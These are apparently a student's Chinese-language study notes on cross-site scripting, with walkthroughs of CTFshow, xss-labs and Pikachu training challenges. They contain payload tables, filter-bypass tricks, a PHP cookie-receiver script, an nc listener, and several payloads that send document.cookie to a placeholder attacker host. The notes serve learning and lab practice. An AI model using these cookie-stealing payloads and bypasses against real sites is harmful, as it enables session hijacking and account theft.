xss
的认识和学习
[TOC]
xss
平台:XSS平台-XSS测试网站-仅用于安全免费测试(有时候不太好用,推荐用服务器)
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。
一般的,xss
攻击会分为三种情况,危害程度从低到高分别是:反射型、持久型、DOM型。
xss
漏洞成因
页面会将输入的内容进行渲染并插入到网页的html中,这便导致了攻击者可以构造合适的js代码payload,使得用户再点击链接时自动把注入的内容当作js代码执行,导致用户相关敏感信息泄露。
分类
反射型
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
持久型
与反射型不同,持久型的攻击代码早在用户进入网站之前就已经存在。这是因为攻击者已经事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。而反射型的payload并没有进入数据库进行储存而是在请求参数中,这便是他们两个的区别。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处。
DOM型
DOM (Document Object Model) 译为文档对象模型,是 HTML 和 XML 文档的编程接口。
换句话说:HTML DOM 是如何获取、更改、添加或删除 HTML 元素的标准。
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码(例如JavaScript)所影响。
寻找DOM XSS的本质是做js语言阅读理解题。 – Pikachu 漏洞练习平台
xss
的利用
其目的一般都是为了攻击用户,拿到用户的Cookies等信息。
一、HTML标签与事件属性
1. 脚本执行标签
标签 | 触发方式 | 示例 | 特点 |
---|---|---|---|
<script> |
直接嵌入JS代码 | <script>alert(1)</script> |
最直接的攻击方式,易被过滤规则拦截 |
<img> |
利用onerror 事件 |
<img src="x" onerror=alert(1)> |
常用于绕过<script> 标签过滤 |
<svg> |
通过onload 事件 |
<svg onload=alert(1)> |
SVG的XML解析特性可绕过部分HTML过滤规则1****3 |
<iframe> |
加载JS伪协议或onload |
<iframe src=javascript:alert(1)> |
可结合跨域资源加载实现攻击链 |
<a> |
javascript: 伪协议 |
<a href="javascript:alert(1)">Click</a> |
依赖用户点击,常用于钓鱼攻击 |
2. 事件驱动标签
事件属性 | 触发条件 | 示例 | 应用场景 |
---|---|---|---|
onload |
资源加载完成时触发 | <body onload=alert(1)> |
常用于页面或框架初始化阶段 |
onerror |
资源加载失败时触发 | <img src=x onerror=alert(1)> |
绕过图片源校验的常用手段 |
onmouseover |
鼠标悬停时触发 | <img src=1 onmouseover="prompt(1)"> |
需要用户交互,隐蔽性较强 |
onfocus |
元素获取焦点时触发 | <input onfocus=alert(1) autofocus> |
结合autofocus 属性实现自动触发 |
二、JavaScript核心方法与属性
1. 敏感数据获取
方法/属性 | 功能 | 示例 |
---|---|---|
document.cookie |
获取当前页面的Cookie | <script>location.href='http://ip/?c='+document.cookie</script> |
window.location |
控制页面跳转或获取URL | location.href='http://attacker.com' |
XMLHttpRequest |
发送HTTP请求窃取数据 | new XMLHttpRequest().open('POST','http://ip',true).send(data) |
2. 代码执行方法
方法 | 功能 | 示例 | 绕过技巧 |
---|---|---|---|
eval() |
执行字符串形式的JS代码 | eval('ale'+'rt(1)') |
通过字符串拼接绕过关键字过滤 |
setTimeout() |
延迟执行代码 | setTimeout("alert(1)",0) |
结合编码混淆使用 |
Function() |
动态创建函数 | new Function('alert(1)')() |
可绕过部分沙箱环境 |
3. DOM操作方法
方法 | 功能 | 示例 | 攻击场景 |
---|---|---|---|
document.write() |
直接写入HTML内容 | document.write("<img src=x onerror=alert(1)>") |
常用于反射型XSS |
innerHTML |
动态修改元素内容 | element.innerHTML = "<script>alert(1)</script>" |
需结合用户输入未过滤的场景 |
三、基础payload
1 | 1.window.open: |
四、攻击方式
先用<script>alert('1')</script>
之类的进行测试,找到测试点。
1.服务器端文件接收
在服务器上的/var/www/html
下写一个用于接收cookie的脚本,然后给写的权限,再通过xss写入等待后台机器人点击即可得到cookies值。
2. 服务器端端口监听(请求外带)
通过nc监听特定端口:nc -lnvp 7777
,然后利用xss向相关端口发送请求<script>window.open('http://ip/'+document.cookie)</script>
然后既可以看到url处带出了cookie值:
需要注意的是:每次nc只能监听到一次,所以可以多监听几次,所以我觉得还是第一种方法好(
插曲:本来设置的6666端口,但一直不成功,后来一查才知道,6666 刚好在 Chrome 浏览器的默认非安全端口列表里。。。神坑之 6666 端口 (默认非安全端口) - VictorBu - 博客园
五、防御
对输入的关键词进行过滤
输出转义:
1
2
3
4app.get('/welcome', function(req, res) {
// 对查询参数进行编码,避免反射型XSS攻击
res.send(`${encodeURIComponent(req.query.type)}`);
});encodeURIComponent() 函数可把字符串作为 URI 组件进行编码,从而避免执行恶意代码。
打靶
CTFshow习题训练(部分)
316
先在自己服务器服务器的
/var/www/html
目录下新建xss.php
,内容如下:1
2
3
4
5
6
7
8
9
$content = $_GET["cookie"];
if(isset($content)){
//需要把我们获得的信息写入到我们的本地服务器
file_put_contents('flag.txt',$content);
}else{
echo 'no date input';
}在留言框上里留言:
1
<script>location.href="http://ip/xss.php?cookie="+document.cookie</script>
等待后台bot点击即可得到管理员cookies。
317
这题在316的基础上过滤了script标签,因此使用body标签,在里面加上onload,
1 | <body onload="window.open('http://ip/xss.php/?cookie='+document.cookie)"> |
320
过滤了空格,可以用%0A
、%0c
、%09
、 /**/
、/
来代替之。
1 | <body/**/onload="window.open('http://ip/xss.php/?cookie='+document.cookie)"> |
328
这题是个注册界面。
思路:
用可用payload注册用户,然后等待后台管理员查看时可以获得cookie,再去管理页面,改cookie,查看账密信息即可得到flag。(注意需要bp抓包然后一个一个放包,把每一个cookie都改了就可以看到了,因为他中间还会发一个包)
可以看出下面数据的部分显示还得一遍验证,把这个包的cookie再改一遍。
xss-labs
我参考了SkyWT师傅的wp用来学习:
level1
无过滤,直接弹:
1 | <script>alert(1)</script> |
level2
依旧填上去
1 | <script>alert(1);</script> |
但发现没有弹窗,F12发现被转义了,例如 <
被转义成了 <
。
发现下面还有一个input标签,"><script>alert(1)</script>
闭合之后弹窗成功。
level3 :htmlspecialchars()
的弱点
这里贴一下SkyWT师傅的总结:
本题要求 PHP 版本低于 8.1.0。在 8.1.0 版本中此漏洞已经修复。
HTML 标准规定了一个叫做实体(Entity)的概念。在 HTML 中,
<h1>
会被解释为标题标签,那我们如何以文本形式显示出<h1>
这四个字符呢?答案是使用字符实体,将<
用<
替代,将>
用>
替代。在 HTML 中,如果我们写<h1>
,就会显示为<h1>
而不会被解析。在 PHP 中,后端需要渲染出一个 HTML 给前端,对传来的字符串就要进行这样的处理,将
<
这样的字符转换为<
这样的实体。Level 1 就是没有进行这种处理的下场。一个通常的做法就是:使用 PHP 自带的
htmlspecialchars()
函数处理字符串,进行字符转义。具体用法可以参考官方文档。在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义
<
、>
、&
、'
、"
这五个字符,基本可以防范这里的 XSS 攻击。 但是,8.1.0 以下版本的 PHP 默认只会转义<
、>
、&
、"
这四个字符,不会转义单引号'
。这就给这个函数带来了巨大的安全隐患。
发现input标签中的输入值也被转义了,可以闭合单引号但不能闭合尖括号。
这里可以使用一些方法标签来触发:例如:<input onfocus=alert(1)>
1 | <input name=keyword value='' onfocus=alert(1) ''> |
1 | <input name=keyword value='' onmouseover=alert(1) ''> |
level4
直接去掉了尖括号。
1 | <input name=keyword value="scriptalert(1)/script"> |
但发现没有过滤双引号,于是:
1 | payload: " onmouseover=alert(1) " |
level5 href js伪协议
1 | <input name=keyword value="" <scr_ipt>alert('1')</script> ""> |
破坏了原有的script标签,但双引号仍然未过滤。
尝试了上一题的payload,仍然被过滤:
1 | <input name=keyword value="" o_nmouseover=alert(1) ""> |
这里利用js伪协议进行绕过:
1 | payload: "> <a href=javascript:alert(1)>111</a> |
level6 大小写绕过
用了上一题的payload,发现把href标签也破坏了。
1 | <input name=keyword value=""> <a hr_ef=javascript:alert(1)>111</a>"> |
源码:
1 |
|
发现并未全转为小写来区分大小写,直接大小写绕过即可,html对大小写不敏感。
level7 双写绕过
1 | <input name=keyword value="<>alert(1)</>"> |
直接替换script标签为空,尝试双写绕过。
1 | <scscriptript>alert(1)</scscriptript> |
leve8 href字符实体可用
1 | </center><center><BR><a href="<scr_ipt>alert('1')</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center> |
发现直接把输入插入了href属性中,想到可以尝试javascript伪协议,但是仍然被过滤。。没思路了,于是看了眼师傅的wp:
这里要用到 href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。
这里将i进行实体化,从而使得绕过替换。
1 | javascript:alert(1) |
level9 伪造网站格式
1 |
|
分析源码发现只检测了其中只要含有该字段即可,于是:
1 | javascript:alert(1) // http:// |
即可绕过。
level10 隐藏表单注入
1 | <input name="t_link" value="'.'" type="hidden"> |
源码中发现三个隐藏的标签,测试发现t_sort可以利用,
1 | ?keyword=test&t_sort=" onmouseover=javascript:alert(1) " |
但是发现不显示,因为后面的type属性值为hidden而导致的,尝试在前面添加一个type为空从而覆盖掉后面的hidden。
1 | ?keyword=test&t_sort=" onmouseover=javascript:alert(1) type " |
level11 Referer 注入
ctrl+U查看源码发现:<input name="t_ref" value="http://xss-libs:6543/level10.php?keyword=test&t_sort=%22%20onmouseover=javascript:alert(1)%20type%20%22" type="hidden">
猜测是直接传的Referer的值,尝试修改请求头为上一题的payload。
level12 UA注入
和上一题一样,修改User-Agent请求头即可。
level13 Cookie注入
设置Cookie如下:
1 | user=" onmouseover=javascript:alert(1) type " |
level14 EXIF写xss
好像是网站废弃了做不了。
大概思路是原来网页会解析上传图片的EXIF信息并展示,本地修改之后上传即可触发xss。
level15 ng-include(类似文件包含)
刚进去就发现被自动传了参数?src=1.gif,查看源码发现被注入到了这里:
1 | <body><span class="ng-include:1.gif"></span></body> |
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
类似于文件包含的东西,在同文件夹内写入恶意代码文件,然后包含即可。
1 | <a href=javascript:alert(1)>111</a> |
?src="1.html"
level16 空格过滤
输入上题payload,发现:
1 | <center><a href=java :alert(1)>111< a></center><center><img src=level16.png></center> |
发现空格,script
标签,/
,均被替换,尝试用%0c
代替,
1 | `<svg%0conload=alert(1)>` |
pikachu上的DOM型xss分析(待续)
预计要看看基础js了。
DOM 1
1 | <script> |
str是我们输入的内容,意思是把输入的内容插入到<a href='"+str+"'>what do you see?</a>
这里面,这里只需要闭合前面的a标签然后就可以了。
注释中给了两条payload,让我们带入看看:
<a href='"'><img src="#" onmouseover="alert('xss')">"'>what do you see?</a>
第二条的思路则是直接再a标签中加入onclick方法并触发然后闭合。1
2
3
4
5
第一条的思路是先闭合a标签,逃逸出来之后再注入img标签的恶意代码即可触发。
2. ```html
<a href='"' onclick="alert('xss')">"'>what do you see?</a>
DOM 2
1 | <script> |
点击底部a标签时,会触发domxss()方法,最终渲染出一个新的a标签。<a href='"+xss+"'>就让往事都随风,都随风吧</a>
仍然是需要闭合标签。
xss盲打
直接写恶意代码,登录管理员后台查看即会被触发。
xss之过滤
<body onload="alert(1)"></body>
绕过
xss之htmlspecialchars
原理同xss-labs的level3。' onmouseover=alert(1) '
。
xss之href输出
单双引号均被替换。
javascript:alert(1)
发现在a标签的href属性中,伪协议绕过。
xss之js输出
发现自己的输入被嵌到js代码中并执行了整段代码,尝试闭合并逃逸执行恶意代码。
1 | kobi';alert(1);// |
注入效果为:
1 | <script> |
成功执行。
绕过思路总结
- 标签名大小写绕过。
- js伪协议。
<a href="javascript:alert(1)" >click me</a>
//a标签伪协议执行 - 空格绕过,用
%0c
、%09
、/**/
、/
来代替之。 - eval绕过,
<svg/onload=eval('ale'+'rt(1)')>
- 双写绕过
<scscriptript>alert(1)</scscriptript>
- 大小写绕过
- href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。这里将i进行实体化,从而使得绕过替换。
javascript:alert(1)
更多姿势可参考绕过XSS过滤姿势总结 - zha0gongz1 - 博客园
参考文章:
CTFSHOW-XSS - Boogiepop Doesn’t Laugh
Pikachu靶场之XSS漏洞详解_pikachu xss-CSDN博客
ctfshow XSS漏洞web316-328_ctfshow web316-CSDN博客
【CTF-Web】XSS漏洞学习笔记(附ctfshow web316-333题目)_ctf xss-CSDN博客
pikachu XSS Cross-Site Scripting(皮卡丘漏洞平台通关系列)_pikachu的xss过关-CSDN博客